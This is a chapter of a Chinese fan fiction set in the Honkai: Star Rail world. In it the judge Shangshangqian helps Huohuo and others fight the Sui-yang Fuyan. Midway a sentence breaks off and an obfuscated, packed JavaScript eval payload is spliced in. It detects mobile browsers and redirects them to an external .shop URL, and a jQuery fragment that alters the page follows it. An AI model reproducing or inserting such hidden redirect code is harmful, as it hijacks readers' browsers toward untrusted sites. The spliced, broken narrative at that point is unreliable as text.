5. 第 5 章
    能进十王司的都有点大病,没有大病的也得有段催人泪下的人生往事。

    名叫上上签的判官深谙此道,光是在阳世与他有生离死别,爱恨纠葛的都有不下十位,从云骑到匠人,从天人到持明,没有他编不出来的。

    “大人,看在您的故友已经星陨的份上,嘴上积点德吧。”武弁通流十分无语。

    “哪有,他们大多都活的好好的。”上上签拍案而起,要不是他自己没忍住笑出声,这愤愤不平还挺像回事。

    “前……前辈,我们不是在说岁阳吗?”藿藿就差给这位前辈流下两行泪了。

    上上签收回手,施施然整整衣袖:“藿藿啊,你知道我从不离开因果殿。”

    “可寒鸦大人说了你只是从不离开十王司办事的地方,绥……绥园的偃息馆应该不算。”

    “你都说了,这是寒鸦说的,我说的是我不会离开因果殿。”上上签很有耐心地哄着这个胆小的女孩。

    “可您上次还跟着含明去了丹鼎司。”

    “偶尔我也要外出办事嘛。”

    “可这次也是办事。”

    啊,好难办。其实要是他死赖着不去,藿藿也没有办法,但上上签并不想在后辈心里留下一个无赖形象。

    “我记得这次行动有寒鸦跟着?”

    “是”,藿藿小声说道,接下来的话她有些不敢说,但这位上上签前辈素来待她和善,所以应该没事?

    她深吸一口气,鼓起勇气。

    “可这次溜出来的岁阳很…很多,寒鸦大人以梦占读罪业会吃不消……”

    虽然她每次都会被寒鸦雪衣吓到,但还是会一次一次克服恐惧,悄悄表达自己的关心。

    看藿藿这么贴心,上上签叹了口气:“我要是这会儿说卜算也挺费脑的,是不是太不近人情了?”

    “没……没有,主要是绥园离丹鼎司也近,如果您想看什么人可以偷偷去。”藿藿小小声的一句话直接把上上签干沉默了。

    片刻他重拾笑容,站起身拍拍小姑娘的脑袋:“好吧,既然藿藿盛情邀请,岂有不去的道理,不过我先说好了,别在外人面前提起我,我不想认识除十王司同僚以外的人。”

    “好、好的。”

    背后的尾巴大爷不知为何冷哼一声,上上签假装没听见。

    送走藿藿后,上上签在堆满文书的桌前发呆许久,末了没忍住轻笑一声,他摸摸自己这具偃偶身的脸,入手是一片冰凉没有一丝活物的感觉,难得有些感叹,原来这么明显吗?

    幻胧一战实在牵扯甚多,好在有罗浮将军和无名客携手作战力挽狂澜,只不过将军昏迷,太卜司太卜暂代将军之位。

    应该不会有事,景元可是进池子的角色。

    虽然嘴上如此安慰自己,但还是没忍住带跟驻守丹鼎司的冥差走了一趟。

    当初他忽然被判官带走,与景元连最后一面都没见到。后来,十王司对外宣称他卧底的身份暴露,被诱发了魔阴身,按理说在罗浮他已是一个死人,不应该出现在故友的面前。

    可这百年他一次都没出过因果殿,就这一次而已。

    结果就看见景元不好好在床上躺着,反而在帮丹枫的转世丹恒以及那位灰发小姑娘梳理局面,甚至后来直接跑到了鳞渊境,和人打了一场。

    捂心口,吐血jpg.

    想到这次要去绥园办公,上上签坐回椅子,仰靠在椅背上似有叹息,希望这劳模好好在丹鼎司养伤,再不齐好好呆在神策府,真是怕了他了。

    ——

    来到绥园后,上上签帮寒鸦承担了大部分工作,让她能和自己的姐姐雪衣多呆一会儿。

    他不像寒鸦需要以梦占卜,只需起个卦,轻松得不止一点半点。

    一会儿功夫,工作完成了大半,上上签见剩下的也没什么紧急的任务,拿出玉兆开始摸鱼。

    他在论坛有账号,但从不发言,只是闲的没事会刷一些帖子,或者看景元仗着网上没人认识他肆无忌惮发的那些评论。

    挺有意思的,他都截图保存下来了,就是没法在当面嘲笑他,有些遗憾。

    把那句“我是古国皇帝,打钱”放到隐私相册里,上上签放下玉兆,难得感到一丝空虚。

    绥园是狐人本是一处供狐人休憩玩乐的园林,而他现在所在的偃息馆在三十年前更是热闹非凡。

    上上签还记得外出执勤的冥差曾偷偷拍过那里的盛况,烟火生辉,亮如白昼。

    果然成了这幅鬼样子后便都扔给冥府了,真拿十王司不当人,死人也是人啊!

    不过这偃息馆和他偃偶的身体挺配的,听名字就是一个休息的好地方。

    独自镇守营地就是无聊,上上签的思绪来回跳跃,手里的判官笔转到飞起。忽然就像手滑,那支笔脱手而出,直直向后刺去,笔尖正好点在了偷袭之人的膻中。

    “哎呀”,上上签笑眯眯站起来,侧身看着倒在地上的人,“来者皆是客,何苦如此偷偷摸摸?”

    袭击他武弁挣扎着冲破穴道,结果发现自己依然不能动,她茫然地低头,发现自己的身体不知何时已被一根根绷直银线刺穿,被牢牢地钉在地上。

    而做了这一切的人还在抱怨:“不会就派了你一个吧,这么看不起文职?”

    夜幕低垂,蓝色的岁阳布满天际,在这悄无声息中,仿佛预示着罗浮即将发生翻天覆地的变化。

    判官拿着罗盘摆弄几下,十分遗憾地说:“啊,主谋不在我这里,看来只能走一趟了”。

    伸手弄晕被控制的武弁,上上签起身前往星象异常的方位。

    “希望动静不会太大。”

    但很明显事常与愿违。

    当上上签赶到时就看见倒了一地武弁,哭泣痛苦的藿藿,怒吼骂人的尾巴大爷,以及拉着锁链与巨大岁阳浮烟抗衡的雪衣和星。

    这怎么和吸尘器一样?

    虽然心

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658559|144023||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    里吐槽着,但他知道这要被吸进去可不是闹着玩的。

    风愈加急燥,密密麻麻的银线如天罗地网布在雪衣他们与浮烟之间。

    “前辈”,藿藿如抓住救命稻草一般。

    “支棱都支棱不起来,丢人”,正吵着藿藿的尾巴大爷见上上签来了,立刻调转火力,“半天不来,我还以为你死了呢!”

    “到后面去,他们不会有事”,上上签手上拿着刚才点穴的判官笔,在半空中写下了一串晦涩难懂的符文。

    尾巴骂骂咧咧把藿藿往后拖,还不忘骂道:“你这个慈母多败儿。”

    “……不会说话就不要说,我还不想与你组父母CP。”

    尾巴听不懂什么cp,但上上签也没想为它解释网络热词。

    他挥手将汇成的符文向浮烟拍去,盈盈的星光霎时聚成天上明月,邪祟的气息一瞬间风烟俱净,只留天上那个巨大的、不怀好意的目光。

    “没用的,只要人类存在,岁阳是不——灭——的——”浮烟的嘶吼贯穿识海,搅得人神魂动荡。

    “没有什么是不会消失的”,上上签对他的挑衅无动于衷,信手掐了个诀。

    “须信百年俱是梦,天道无常,命数皆非。”

    银线编织的大网围绕在浮烟四周,步步紧缩,最后与网中的岁阳僵持不下,谁也无法更进一步。

    看见周围的岁阳碎片又一次操控武弁摇摇晃晃从地上站起来,雪衣和星也摆出迎战的姿态,但谁都能看出她们已经力竭,上上签不得不承认这次确实棘手。

    “喂,你行不行啊。”身后尾巴又在那儿叫嚷。

    “你管行不行,后面呆着!”

    “哦?我还以为你会说,你行你上呢。”

    想起路上算的那一卦的结果和看到的“可能”,上上签冷笑:“行啊,我不拦你,藿藿你自己决定。”

    “啊?什么?”藿藿隐隐约约有了个猜想,但她还是磕磕巴巴问道,“我不知道,你们在说什么。”

    “别废话,老子没了你不就能过上你想要的生活了?”*

    “可……可是。”

    “砰”丝线的断裂声就是这么突兀,众人惊恐地看向黑发的判官,上上签无辜一笑:“两位不如快点?”

    说话间又是几声丝线断裂的声音,狂风骤起,风云突变。

    聚集的光芒瞬间被吹成点点火星,局面瞬间回到不妙的地步。

    看着又一次跌倒在地的雪衣和星,藿藿终于鼓起了毕生的勇气,挥手揭开了尾巴上的符咒。

    “再见啦哈哈,藿藿。”尾巴大笑着如一颗炮弹向浮烟冲去。*

    巨大的不祥物如疯了一般痛苦挣扎,被控制的武弁也像是穷途末路一样向众人攻来。

    但还好藿藿就像尾巴骂的那样支棱了起来。

    打怪的有五名,丰饶有一。

    唯一的丰饶终于缓过来了,在众人的努力下浮烟如烟花一样爆开了。